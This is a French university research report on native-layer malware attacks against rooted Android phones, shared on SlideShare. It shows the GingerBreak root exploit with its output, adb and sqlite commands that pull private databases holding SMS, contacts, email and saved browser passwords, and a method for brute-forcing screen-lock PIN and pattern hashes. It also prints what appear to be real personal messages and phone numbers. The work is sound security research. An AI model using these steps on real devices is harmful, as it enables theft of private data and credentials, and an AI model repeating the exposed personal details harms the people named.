Année universitaire 2012-2013
Projet De Recherche Tuteuré
Etude Malwares Dans Android
Attaques Couche Native
Nickolay Belc...
Table des matières
Introduction 1
1 Rapport technique des activités menées 2
1.1 Travail préliminaire et prérequis . . . ....
2 Conclusion 30
3 Références 31
Table des figures 32
Introduction
Android est un système d’exploitation construit à partir d’un noyau linux spécifique. Ce dernier
permet d’acce...
Chapitre 1
Rapport technique des activités
menées
1.1 Travail préliminaire et prérequis
Rapellons que nous travaillons uni...
avons utilisé le binaire de GingerBreak que nous chargions sur le téléphone grâce à ADB. Nous changions
ensuite les droits...
#!/ system/bin/sh
path="/data/local/tmp/"
echo ’#!/ system/bin/sh ’
path="/data/local/tmp/"
if [ ‘echo $PS1 ‘ = "$" ];
the...
fastboot. Sur le site précédent, il faut donner le code et attendre la réception par émail d’un fichier *.bin
(la ROM). Il ...
Runtime r = Runtime.getRuntime ();
Process p = r.exec(<Mon Programme >);
De plus il est possible de trouver des exploits p...
un exploit pour passer root tel que présenter dans la section 1.1.2.
Sur les téléphones ayant une version postérieure, il ...
|2| , -2 ,5 ,1 ,6 ,|1|1431930547613199950|0||||0|0
1431930280111237713|1| Importez vos contacts et anciens e-mails|Vous av...
Nous pouvons constater que certaines données peuvent s’avérer très intéressantes pour un attaquant. Les
applications sont ...
Quelques commentaires sur le script
Le challenge est stocké dans la base de données sous le type Long Long. La classe stru...
1.2.6 Choix du langage Python
Nous avons choisi d’utiliser le langage python pour réaliser l’attaque par force brute car c...
notre programme, se nommant /dev/smd0. Après avoir tué le processus radio, ce dernier redémarre et se
rattache automatique...
1.3.3 Lancement du programme
Terminal 1
~# : adb shell
su
mv /dev/smd0 /dev/smd0Real
./ at_dump_htc
Terminal 2
~# : adb sh...
d’un Samsung Nexus S et nous avons tenté de récupérer ces commandes AT sur ce téléphone. Gros point
noir à l’horizon : sur...
3 ((type) << _IOC_TYPESHIFT) | 
4 ((nr) << _IOC_NRSHIFT) | 
5 ((size) << _IOC_SIZESHIFT))
Listing 1.2 – Code C
La requête ...
cmd sont inutilisés contrairement au mode rfs où tous les champs sont utilisés. Or dans la majorité des
cas, c’est le mode...
1 #define IPC_SMS_SEND_MSG 0x0401
2 #define IPC_SMS_INCOMING_MSG 0x0402
Listing 1.12 – Code C
Pour le code PIN, ce sera ce...
Le champ identity explicite si l’appel est en mode masqué ou pas. Il y a trois valeurs :
1 #define IPC_CALL_IDENTITY_DEFAU...
SMS Center :
+33689004000
Numéro de téléphone :
+33646861375
Message :
Test
Note : Le SMS Center est le numéro de téléphon...
20 00 00 00 - nombre de bits par pixel
40 01 00 00 - la taille en x
e0 01 00 00 - la taille en y
En verbose, cet appel ioc...
3. Créer l’image au format désiré.
Pour ce faire nous avons utilisé deux structures issues de la documentation du kernel A...
1.6 Récupération des positions pointeurs écrans et du keypad
Comme sur le système UNIX, la gestion des interruptions génér...
Pour ce faire nous mappé chaque entrée (X,Y) avec une lettre du clavier.
Les deux codes keypostion.c et keylogger.c ayant ...
1. Détecter le lancement de l’application
2. Effectuer des captures d’écrans toutes les secondes
3. Enregistrer les positio...
sur la troisième photo du diaporama il est impossible de savoir si c’est un 9 qui a été saisi ou bien un 0.
C’est pourquoi...
Figure 1.5 – Selections de photos prises durant la capture
1.7.3 Résulat
Lors de la manipulation présentée, nous avons été...
1.8 Interface graphique
1.8.1 Visée de l’application
Dans le cadre de ce projet nous avons souhaité développer une interfa...
1.8.3 Limites et Amélioration
Bien que ce programme soit adapté sur mesure pour le téléphone utilisé lors de la démonstrat...
– Via une page web à l’aide d’un iFrame et un code HTML. Par exemple, voici deux codes malicieux
qui pourraient se trouver...
Chapitre 2
Conclusion
Ce rapport illustre quelques attaques possibles, il en existe évidemment bien plus. Les utilisateurs...
Chapitre 3
Références
Architecture Android - Site officiel du développement sous Android :
http ://developer.android.com/abo...
Table des figures
1.1 HTC S-OFF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1...
Prochain SlideShare
Chargement dans…5
×

Projet de-recherche-Tuteuré

1 824 vues

Publié le

Android Malwares Native Attaks

Publié dans : Technologie
0 commentaire
0 j’aime
Statistiques
Remarques
  • Soyez le premier à commenter

  • Soyez le premier à aimer ceci

Aucun téléchargement
Vues
Nombre de vues
1 824
Sur SlideShare
0
Issues des intégrations
0
Intégrations
36
Actions
Partages
0
Téléchargements
27
Commentaires
0
J’aime
0
Intégrations 0
Aucune incorporation

Aucune remarque pour cette diapositive

Projet de-recherche-Tuteuré

  1. 1. Année universitaire 2012-2013 Projet De Recherche Tuteuré Etude Malwares Dans Android Attaques Couche Native Nickolay Belchugov belchugo@etud.insa-toulouse.fr Adrien Pompée pompee@etud.insa-toulouse.fr, Anthony Rullier rullier@etud.insa-toulouse.fr RAPPORT TECHNIQUES 31 juillet 2013
  2. 2. Table des matières Introduction 1 1 Rapport technique des activités menées 2 1.1 Travail préliminaire et prérequis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.1.1 Android Debug Bridge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.1.2 Rootage du téléphone Nexus S Android v2.3 . . . . . . . . . . . . . . . . . . . . . 2 1.1.3 Rootage des modèles HTC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.1.4 Autre possibilité que l’attaque ciblée . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.2 Obtention des informations stockées dans les bases de données . . . . . . . . . . . . . . . 6 1.2.1 Récupération des données privées de l’utilisateur . . . . . . . . . . . . . . . . . . . 6 1.2.2 Récupération du code de verrouillage écran . . . . . . . . . . . . . . . . . . . . . . 9 1.2.3 Récupérer les informations depuis la base de données «settings.db» . . . . . . . . . 9 1.2.4 Verrouillage PIN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 1.2.5 Verrouillage via motif graphique . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 1.2.6 Choix du langage Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 1.3 Récupération des commandes AT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 1.3.1 Dumping des commandes AT sur téléphone type HTC . . . . . . . . . . . . . . . . 11 1.3.2 Quelques commentaires sur le code source . . . . . . . . . . . . . . . . . . . . . . . 12 1.3.3 Lancement du programme . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 1.3.4 Résultat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 1.4 Dump du modem sur Samsung Nexus S . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 1.4.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 1.4.2 Identification du processus d’envoi et de réception . . . . . . . . . . . . . . . . . . 14 1.4.3 Utilisation de ptrace() pour voir les commandes ioctl() . . . . . . . . . . . . . . . . 14 1.4.4 Récupération des informations utiles . . . . . . . . . . . . . . . . . . . . . . . . . . 16 1.4.5 Pour aller plus loin... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 1.5 Récupération de la mémoire graphique . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 1.5.1 Le principe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 1.5.2 Mise en application . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 1.5.3 D’autres solutions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 1.6 Récupération des positions pointeurs écrans et du keypad . . . . . . . . . . . . . . . . . . 22 1.6.1 Fonctionnement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 1.6.2 Limites de la manipulation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 1.7 Récupération des identifiants utilisateurs sur une application sécurisée . . . . . . . . . . . 23 1.7.1 Principe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 1.7.2 Mise en application . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 1.7.3 Résulat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 1.7.4 Aller plus loin... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 1.8 Interface graphique . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 1.8.1 Visée de l’application . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 1.8.2 Quelques commentaires sur le code . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 1.8.3 Limites et Amélioration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28 1.9 Commandes MMI . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28 1.9.1 Pourquoi cette étude . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28 1.9.2 Dump de la RAM et d’autres informations sur la carte SD . . . . . . . . . . . . . . 28 1.9.3 Reset de l’appareil et suppression les données utilisateurs . . . . . . . . . . . . . . 28 0
  3. 3. 2 Conclusion 30 3 Références 31 Table des figures 32
  4. 4. Introduction Android est un système d’exploitation construit à partir d’un noyau linux spécifique. Ce dernier permet d’acceuillir une machine virtuelle Dalvik sur laquelle s’exécute la partie applicative. La couche applicative est en réalité la partie avec laquelle un utilisateur interagit. Le choix d’une machine virtuelle permet d’une part aux développeurs de faire abstraction du noyau et d’autre part aux constructeurs de la couche applicative. Ainsi une application pourra fonctionner sur n’importe quel terminal utilisant une machine virtuelle Dalvik. De nombreux mécanismes sécuritaires ont été déployés au niveau applicatif, mais qu’en est il de la couche native ? Le système linux est renommé pour sa fiabilité et son soucis sécuritaire. Cependant une fois les droits root acquis, les possibilités d’attaques sont illimitées... De plus en plus de terminaux sont de nos jours rootés, car certaines applications le demandent. Bon nombre d’utilisateurs vont donc utilisés une application telle que SuperUser pour pouvoir profiter pleinement des fonctionnalités de leur(s) application(s) sans connaître les risques et sont les effets debords. Dans ce rapport nous allons abordés quelques attaques natives que nous avons réalisées sur des téléphones préalablement rootés. 1
  5. 5. Chapitre 1 Rapport technique des activités menées 1.1 Travail préliminaire et prérequis Rapellons que nous travaillons uniquement sur des attaques ciblées. Cette méthode d’attaque nécessite donc certains prérequis sans lesquels ils seraient beaucoup plus difficile de réaliser de pareilles manipula- tions. Ils sont : – Un accès physique au téléphone. – L’outil ADB utilisable. – Un moyen d’accéder aux droits root. Les deux prochaines sections ont respectivement pour but de détailler ces deux derniers prérequis. 1.1.1 Android Debug Bridge Android Debug Bridge (ADB) est un outil de développement sous Android. Il est seulement accessible depuis une CLI (Commands Line Interface) ouverte sur l’ordinateur auquel est raccordé le mobile. Il propose de nombreuses fonctionnalités. Citons en quelques unes : – [adb shell] Ouvre un shell. – [adb install -e /path/du/apk] Installe une application . – [adb pull /path/de/fichier] Permet le téléchargement d’un fichier depuis l’appareil Android. – [adb push /path/de/fichier /path/a/copier] Permet la copie d’un fichier dans l’appareil. – [adb shell su -c "<cmd>"] Permet d’exécuter une commande en tant que root dans un terminal de l’appareil. – [adb shell am -a intent -n <rep_package>/.<Activity_Name>] Lance un service d’une application donnée – [adb shell su -c "mount -o rw,remout yaffs2 /dev/block/mtdblock3 /system"] Permet de rendre le dossier /system accessible avec les droits 700. Ce dossier est initialement en lecture seule. Note : L’utilisation de cet outil nécessite l’activation de l’option Debuggage ADB sur l’appareil. 1.1.2 Rootage du téléphone Nexus S Android v2.3 Avant d’effectuer la moindre opération protégée sur le téléphone, nous avons besoin des droits root sur ce dernier. Seulement, même si ces droits existent sur le téléphone, il n’y a pas de moyen d’y accèder par voie normale. C’est pourquoi nous utilisons un exploit distribué sur internet. GingerBreak Sur le Nexus S, nous utilisons l’exploit GingerBreak qui nous permet de passer root rapidement et sans difficulté. Dans un premier temps, nous n’avons pas choisi la solution la plus simple. En effet, nous 2
  6. 6. avons utilisé le binaire de GingerBreak que nous chargions sur le téléphone grâce à ADB. Nous changions ensuite les droits de l’éxécutable puis nous le lancions. localhost~$ ls gingerbreak localhost~$ adb push gingerbreak /data/local/tmp localhost~$ adb shell $cd /data/local/tmp $chmod 775 gingerbreak $./ gingerbreak [**] Gingerbreak/Honeybomb -- android 2.[2 ,3] , 3.0 softbreak [**] (C) 2010 -2011 The Android Exploid Crew. All rights reserved. [**] Kudos to jenzi , the #brownpants -party , the Open Source folks , [**] Zynamics for ARM skills and Onkel Budi [**] donate to 7-4-3- C@web.de if you like [**] Exploit may take a while! [+] Plain Gingerbread mode! [+] Found system: 0xafd17ea1 strcmp: 0xafd37b35 [+] Found PT_DYNAMIC of size 232 (29 entries) [+] Found GOT: 0x00014344 [+] Using device /devices/platform/s3c -sdhci .0/ mmc_host/mmc0/mmc0 :0001/ block/mmcblk0 [*] vold: 0070 GOT start: 0x00014344 GOT end: 0x00014384 [*] vold: 0070 idx: -3072 fault addr: 0x00013290 [+] fault address in range (0 x00013290 ,idx = -3072) [+] Calculated idx: -2003 [*] vold: 0471 idx: -0002003 [*] vold: 0471 idx: -0002002 [*] vold: 0471 idx: -0002001 [*] vold: 0471 idx: -0002000 [*] vold: 0471 idx: -0001999 [*] vold: 0471 idx: -0001998 [*] vold: 0471 idx: -0001997 [*] vold: 0471 idx: -0001996 [*] vold: 0471 idx: -0001995 [*] vold: 0471 idx: -0001994 [!] dance forever my only one # A cet instant nous sommes alors en possession des droits root sur le téléphone. Deux fichiers sont créés : sh et boomsh. Le fichier sh permet de ré-ouvrir une console avec les droits root. Le fichier boomsh permet quant à lui de relancer l’exploit, son utilité est donc questionnable. Le problème étant que sh ne fonctionne plus après redémarrage de l’appareil. Il faut donc supprimer les deux fichiers sh et boomsh avant de relancer à nouveau l’exploit. Le deuxième problème était l’impossibilité de faire fonctionner l’exploit une deuxième fois sur un téléphone qui n’a pas été redémarré entre temps. Programme permettant l’accès à un shell root à coup sûr Suite à ces deux problèmes, nous nous sommes vite agacés de devoir vérifier si le téléphone était déjà rooté ou si nous effacions le fichier sh par erreur. Nous avons donc créé un petit programme vérifiant si le téléphone est déjà rooté et qui lance l’exploit en conséquence. 3
  7. 7. #!/ system/bin/sh path="/data/local/tmp/" echo ’#!/ system/bin/sh ’ path="/data/local/tmp/" if [ ‘echo $PS1 ‘ = "$" ]; then echo "GingerBreak"; rm ‘echo $path ‘sh; rm ‘echo $path ‘boomsh; ‘echo $path ‘GingerBreak; else echo "Root"; ‘echo $path ‘sh ; fi ’>‘echo $path ‘root chmod 777 ‘echo $path ‘root ‘echo path ‘sh -c ‘echo $path ‘root rm ‘echo $path ‘root Ce petit code simpliste s’effectue sans vérification. Si il est utilisé alors que sh n’existe pas, ce code ne fonctionne pas. Mais il s’agit avant tout d’un gain de temps pour nous, nous n’avons pas à nous soucier si le téléphone a été rooté ou pas. Une simple exécution de la commande /data/local/tmp/su permet d’obtenir une console root. Application GingerBreak Avec le temps, nous avons trouvé une manière plus simple et plus efficace de rooter le téléphone. En effet, il existe une application GingerBreak sur internet. Il suffit de la télécharger, de l’installer sur le téléphone et la lancer. Un menu apparaît proposant de rooter le téléphone. L’opération peut prendre plusieurs minutes. L’application installe en même temps l’application SuperUser avec un nouveau binaire su. Au redémarrage, il suffit de taper su dans un terminal, d’accepter les privilèges root pour le shell sur le téléphone et le tour est joué ! Ce procédé est beaucoup moins compliqué et il permet d’avoir un shell root beaucoup plus rapidement que si nous avions à relancer l’exploit. 1.1.3 Rootage des modèles HTC Certains constructeurs rajoutent des mécanismes supplémentaires bloquant l’accès aux droits root sur leurs appareils pour des raisons de sécurité et de garantie essentiellement. Le fabriquant HTC en fait partie. Cette section explique comment débloquer un appareil HTC pour obtenir les droits root. Note : L’appareil utilisé pour cette étude est le HTC Desire C. Débloquer Bootloader Le bootloader peut être comparé au BIOS d’un ordinateur. Au démarrage de l’appareil, le bootloader permet de lancer l’OS désigné. Sur un modèle HTC il faut récupérer un code sur le mobile et faire une demande sur le site htcdev (http://www.htcdev.com/bootloader) pour obtenir un autre code permet- tant l’accès au fastboot. Le menu fastboot permet de reflasher intégralement le téléphone à partir d’une ROM. Pour accéder au fastboot il faut enlever la batterie du téléphone, la remettre, maintenir le bouton V OLUME_DOWN et démarrer le téléphone via le bouton POWER. Au bout de trois secondes un menu (HBOOT)s’affiche et il faut alors sélectionner l’option fastboot. Dans un terminal il faut taper la commande fastbootOEMget_identifier_token. Elle donne le token pour récupérer le code déblocage du 4
  8. 8. fastboot. Sur le site précédent, il faut donner le code et attendre la réception par émail d’un fichier *.bin (la ROM). Il suffit de reflasher le téléphone avec la ROM : fastbootflashunlocktokenUnlock_code.bin. Récuperer droits super user La deuxième étape est celle permettant de récupérer les droits root. Pour cela il faut démarrer le téléphone en mode fastboot. Sur l’ordinateur il faut ensuite exécuter le script install − superboot − windows.bat (facilement retrouvable sur internet). Ce script permet d’installer l’application SuperUser.apk via un flashage partiel de l’appareil. Voici le code du script : fastboot -windows.exe boot boot.superboot.img Le fichier boot.superboot.img contient deux parties : le noyau et le ramdisk. Le ramdisk contient les instructions et les binaires qui sont utilisés lors du processus de démarrage. Le ramdisk contient aussi les points de montage (mount), de management de la mémoire et des services de démarrage. Le script change donc le code du noyau et le ramdisk. Deblocage complet : de S-ON à S-OFF (Complémentaire) Sur certains modèles un flag (S − ON/S − OFF) de sécurité peut ajouter une barrière de proctection à cette dernière manipulation. Dans le menu offert par le fastboot cette information est accessible : Figure 1.1 – HTC S-OFF Ce flag indique si le système NAND est actif. Dans le cas affirmatif ce dispositif vérifie si la signature de la ROM à installer est correcte. Sur notre mobile d’expérimentation la modification de ce flag n’a pas été nécessaire. Cependant l’équipe Unrevoked offre une one-click solution. 1.1.4 Autre possibilité que l’attaque ciblée L’ensemble des différentes opérations que nous allons présentées auraient pu être réalisées à distance via la distribution d’une application contenant les divers codes sources. En effet il est possible d’intégrer dans une application les binaires des programmes que nous avons réa- lisés. Une telle application contiendrait donc un binaire permettant de rooter le téléphone de manière temporaire. Il est même possible après avoir rooté temporairement le téléphone d’installer l’application SuperUser.apk pour garantir le rootage permanent. Une fois le rootage assuré, il suffit d’exécuter les diffé- rentes binaires et opérations qui leurs sont associés depuis cette même application. Il existe comme dans tous les langages de programmation haut niveau des méthodes permettant d’exécuter des programmes. La librairie de développement Java propre au système Android permet d’exécuter du code natif. Une des manière de procéder est donnée ci après : 5
  9. 9. Runtime r = Runtime.getRuntime (); Process p = r.exec(<Mon Programme >); De plus il est possible de trouver des exploits pour passer root de manière temporaire au moins, et donc de réaliser de telles applications. Généralement ces applications sont des versions modifiées d’une application répandue dans laquelle un attaquant a injecté du code malveillant. L’injection de tel code à été discutée dans notre précédent rapport, et ne sera donc pas détaillée dans ce document. Remarque : Toutes les manipulations suivantes nécessitent les droits root sur le téléphone. C’est donc un pré-requis pour ce projet. 1.2 Obtention des informations stockées dans les bases de don- nées 1.2.1 Récupération des données privées de l’utilisateur En parcourant l’arborescence des fichiers du système Android, nous avons aperçu un dossier /data, dans lequel de nombreuses données étaient stockées dans différentes bases de données. Ces bases de données accessibles uniquement avec les droits root, contiennent une multitude d’information sur l’utilisateur du téléphone. Pour n’en citer qu’une partie, nous avons pu mettre la main sur l’ensemble des SMS échangés, des Emails échangés, des contacts enregistrés dans le répertoire. Nous avons également pu récupérer le journal des communications, l’ensemble des pages WEB visitées et les mots de passes enregistrés dans le navigateur. Listons quelques chemins d’accès données : #Contacts : /data/data/com.android.providers.contacts/databases/contacts2.db #SMS : /data/data/com.android.providers.telephony/databases/mmssms.db #Email : /data/data/com.google.android.gm /.../ mailstore.<username >@gmail.com.db #Trouver les adresses emails enregistrees dans le telephone : /data/system/accounts.db #Cache du navigateur (mots de passe et login) : /data/data/com.android.browser/databases/webview.db #Donnees du navigateur (marques page , sites consultes) : data/data/com.android.browser/databases/browser2.db #Position GPS : /data/data/com.android.browser/ app_geolocation / ChachedGeoPosition .db Note : Selon le modèle, les chemins d’accès peuvent légèrement varier, mais sont immédiatement identi- fiables après parcours de l’arborescence. Pour récupérer les données nous avons utilisé les commandes suivantes : ~# : sudo adb shell su - c ’ chmod 777 <chemin acces a la db > ’ ~# : sudo adb pull <chemin d’acces a la base de donnees > ~# : sqlite3 <nom de la base de donnees > > : .tables # Affiche toutes les tables > : select * from <tables choisies > ; Ces opérations ont été effectuées sur plusieurs téléphones (Nexus S, HTC Wildfire, HTC Sense S) où la carte SIM n’était pas activée et où le code de verrouillage écran était effectif. Cette manipulation très simple met en avant la lacune sécuritaire des téléphones Android, lacune toujours présente sur les dernières versions d’Android. Sur les versions antérieures à la version 4.X il suffit d’avoir 6
  10. 10. un exploit pour passer root tel que présenter dans la section 1.1.2. Sur les téléphones ayant une version postérieure, il est nécessaire d’avoir une commande permettant de passer root préalablement installée. Cela peut limiter l’attaquant dans certains cas, mais il est utile de rappeler que de plus en plus d’applications Android nécessitent l’installation d’une telle commande (via des applications telles que SuperUser.apk), pour pouvoir être utilisées à bon escient (nous pouvons citer RomManager, FlashRecovery...). De plus comme nous l’avons vu dans la section 1.1.3 il est même pos- sible d’installer via le mode fastboot la commande su sans réinitialiser le téléphone et donc en n’écrasant aucunement les bases de données présentes sur le téléphone. Un attaquant patient pourra donc toujours effectuer ce genre de manipulation et cela quelque soit le modèle. De nombreuses applications malveillantes incorporent ces manipulations triviales pour ensuite envoyer ces données via sur serveur distant. Nous présenterons dans la section 1.8 une application python qui automatise ces opérations, comme il est possible de le faire en Java. Voyons à présent le contenu de ces différentes bases de données : – Table data de la base de données contacts2.db : sqlite > select * from data ; 1||5|1|0|0|0|1|06 03 50 41 07|2||+33603504107|||||||||||||||11 2||7|1|0|0|0|1| Rullier|Rullier ||||||||1|3||||||||11 – Table sms de la base de données mmssms.db : sqlite > select * from sms ; 1|1|06 03 50 41 07||1363289583847|0||1| -1|2||| Coucou ||0|0|1 2|1|+33603504107|1|1363901505509|1363901513000|0|1| -1|1|0|| Bonjour |+33609003710|0|0|1 3|2|06 77 32 60 23||1364667184703|0||1| -1|2||| Coucou ||0|0|1 4|2|+33677326023||1364667569158|1364667415000|0|1| -1|1|0|| Qui donc est - ce qui ’coucoue ’ ?? Et qui n’est pas repertorie ds mes contacts |+33689004000|0|0|1 5|2|06 77 32 60 23||1364667622985|0||1| -1|2||| Erreur dsl ||0|0|1 6|1|06 03 50 41 07||1364667724326|0||1| -1|5||| Biftj ||0|1|1 7|1|06 03 50 41 07||1364667782968|0||1| -1|5||| Gyrdfh ||0|1|1 9|1|06 03 50 41 07||1365892844055|0||1| -1|2||| Coucou ||0|0|1 10|3|06 59 26 70 44||1365940329513|0||1| -1|2||| Retard ou vous ne venez pas ? Dites moi svp que j’informe Marjolaine. Bonne journee .||0|0|1 11|3|+33659267044||1365940474886|1365940504000|0|1| -1|1|0|| On ne viendra pas bebe a une otite et ne se reveille pas. Dommage !|+33660003100|0|0|1 12|3|06 59 26 70 44||1365940564557|0||1| -1|2|||J’espere sincerement que ca ira mieux tres bientot Bon retablissement au bout de chou. Bonne journee ||0|0|1 13|4|06 07 50 21 95||1365940679294|0||1| -1|2||| Bonjour Marjolaine c’est Marlene La famille Jullian ne viendra pas , leur petit a une ottite. Merci encore pour tout. Bonne journee ||0|0|1 14|3|+33659267044||1365940830024|1365940854000|0|1| -1|1|0|| Merci beaucoup et bonne continuation a vous !|+33660003100|0|0|1 – Table conversations de la base de données mailstore.ttoto332@gmail.com.db : sqlite > select * from conversations ; 1431930547613199950|1| Premiers pas avec Google +| Acceder a Google+ Bonjour Toto , Bienvenue dans Google+ ! Vous trouverez dans ce message une video et Equipe Google+ 7
  11. 11. |2| , -2 ,5 ,1 ,6 ,|1|1431930547613199950|0||||0|0 1431930280111237713|1| Importez vos contacts et anciens e-mails|Vous avez la possibilite d’importer vos contacts et vos messages a partir de Yahoo!, de Hotmail , L’equipe Gmail |2| , -2 ,5 ,1 ,|1|1431930280111237713|0||||0|0 1431930280005444810|1| Personnalisez Gmail avec des couleurs et des themes|Pour pimenter votre boite de reception a l’aide de couleurs et de themes , explorez l’onglet L’equipe Gmail |2| , -2 ,5 ,1 ,|1|1431930280005444810|0||||0|0 1431930279474228505|1| Utilisez Gmail sur votre telephone portable|Access Gmail on your mobile phone Le temps ou vous deviez imperativement disposer d’un ordinateur L’equipe Gmail |2| , -2 ,5 ,1 ,|1|1431930279474228505|0||||0|0 – Table searches de la base de données browser2.db : sqlite > select * from searches ; 1|s |1365805122219 2|z |1365805122404 3| sqlite 3 download ubuntu |1365805123348 – Table bookmarks de la base de données browser2.db : sqlite > select * from bookmarks ; 1| Bookmarks ||1||0||0||||1|||1||| google_chrome_bookmarks || 2| Google|http :// www.google.com /|0|1|0||0||||1|1363024066610||0||||| 3| Picasa|http :// picasaweb.google.com /|0|1|2||0||||1|1363024066610||0||||| 4| Yahoo !| http :// www.yahoo.com /|0|1|4||0||||1|1363024066610||0||||| 5|MSN|http :// www.msn.com /|0|1|6||0||||1|1363024066610||0||||| 6| Twitter|http :// twitter.com /|0|1|8||0||||1|1363024066610||0||||| 7| Facebook|http :// www.facebook.com /|0|1|10||0||||1|1363024066610||0||||| 8| Wikipedia|http :// www.wikipedia.org /|0|1|12||0||||1|1363024066610||0||||| 9| eBay|http :// www.ebay.com /|0|1|14||0||||1|1363024066610||0||||| 10| CNN|http :// www.cnn.com /|0|1|16||0||||1|1363024066610||0||||| 11|NY Times|http :// www.nytimes.com /|0|1|18||0||||1|1363024066610||0||||| 12| ESPN|http :// espn.com /|0|1|20||0||||1|1363024066610||0||||| 13| Amazon|http :// www.amazon.com /|0|1|22||0||||1|1363024066610||0||||| 14| Weather Channel|http :// www.weather.com /|0|1|24||0||||1|1363024066610||0||||| 15| BBC|http :// www.bbc.co.uk /|0|1|26||0||||1|1363024066610||0||||| 16| Bookmarks ||1||0||0| ttoto332@gmail .com|com.google|Z: YK5BmHSPAKBJ6zrIA ==|1|||0|0|1365589946155000| google_chrome_bookmarks || – Table password de la base de données webview.db : sqlite > select * from password ; 1| httpwww.siteduzero.com|ttoto332 |123456 9| httpsaccounts.google.com|ttoto332 |123456 Les mots de passe ne sont pas chiffrés ! 8
  12. 12. Nous pouvons constater que certaines données peuvent s’avérer très intéressantes pour un attaquant. Les applications sont multiples... 1.2.2 Récupération du code de verrouillage écran A l’aide de la base de données suivante il est possible de récupérer le type de verrouillage écran et le challenge associé à ce dernier (si nécessaire) : /data/data/com.android.providers.settings/databases/settings.db Il existe trois types de verrouillage : – Le verrouillage par mot de passe personnalisé. – Le verrouillage par motif. – Le verrouillage par code pin (suite de chiffres). Dans le cadre du projet nous nous sommes intéressés seulement aux deux derniers types de verrouillage cités. La procédure à suivre pour récupérer ce mot de passe est la suivante : 1. Récupérer la base de données /data/system/settings.db. 2. Récupérer le type de verrouillage. 3. Récupérer le salt (cf. suite). 4. Extraire la clé chiffrée (password.key pour un verrouillage PIN et gesture.key pour un ver- rouillage à motif graphique) 5. Faire un brute-forcing avec l’ensemble des combinaisons possibles pour retrouver la clé de ver- rouillage 1.2.3 Récupérer les informations depuis la base de données «settings.db» Pour cette étape nous avons utilisé le code suivant : ~# : adb shell su -c ’chmod 777 /data/data/com.android.providers. settings/databases/settings.db ’ ~# : adb pull /data/data/com.android.providers.settings/databases/ settings.db ~# : sqlite3 settings.db > select * from security ; La ligne password_type donne le type de verrouillage et la ligne password_salt donne le challenge utilisé lors du mécanisme de chiffrement (uniquement pour un verrouillage PIN). 1.2.4 Verrouillage PIN Sur le HTCWildfire la ligne password_type contient le nombre 131072. Le mécanisme de chiffrement utilisé pour le stockage du code PIN dans le fichier password.key est le suivant : SHA-1 (password|salt)|MD5(password|salt) Une fois ces éléments connus, il nous a suffi de réaliser un script python pour récupérer le code PIN de verrouillage via force brute. Ce script (bf_pin.py) ce trouve dans la rubrique Annexe. 9
  13. 13. Quelques commentaires sur le script Le challenge est stocké dans la base de données sous le type Long Long. La classe struct contient une méthode pack qui permet de formater en binaire une variable donnée. Ici l’option > q permet de convertir une variable type Long Long en une variable binaire. Cette variable binaire peut ensuite être convertie au format ASCII (élément hexadécimaux donc), grâce à la méthode b2a_hex. salt = binascii.b2a_hex(struct.pack(’>q’, sat) La ligne suivante permet la création d’une liste formée de toutes les combinaisons à N chiffres possibles formées par des entiers de 0 à 9 au format ASCII (ie. hexadecimal). Cela est permis grâce à la méthode product() de la classe itertools. tab_pin = itertools.product(numbers , repeat=N) Un par un, chaque élément de la liste est ensuite additionné avec le challenge. Le résultat est ensuite chiffré avec les mécanismes SHA-1 et MD5, via les méthodes sha1 et md5 de la classe hashlib. Ces deux méthodes prennent en paramètre une variable de type String (donc une suite d’élément ASCII). Les mots SHA − 1 et MD5 formés sont ensuite additionnés et le résultat est comparé à la clé extraite du fichier password.key. Cette procédure est répétée jusqu’à l’égalité des deux termes précédents, dans quel cas le code PIN de verrouillage est identifié. salted_password = password + salt #String ie. suite hexadecimal ( suite de caracteres ASCII) hashed = hashlib.sha1( salted_password ).hexdigest () + hashlib.md5( salted_password ).hexdigest () return hashed #String (suite caracteres ASCII) Note : la méthode « hexdigest() » permet de retourner le résultat au format String (ici suite d’élé- ment hexadécimaux appartenant dans l’intervalle ASCII), permettant ensuite de comparer ce résultat au contenu du fichier « password.key » (lui-même au format hexadécimal ASCII). Pour accélérer le calcul nous avons utilisé le formatage lowcase via la méthode lower, qui évite de prendre en compte la caste présente dans le fichier password.key. 1.2.5 Verrouillage via motif graphique La récupération du motif graphique servant au verrouillage écran nécessite moins d’opérations que pour les autres types de verrouillage. Sur le modèle HTCWildfire la ligne password_type contient le nombre 65536 lorsque le verrouillage est de type motif graphique. La clé gesture.key contient le motif chiffré de la manière suivante : SHA-1 (motif) Pour récupérer le motif il suffit de créer un programme 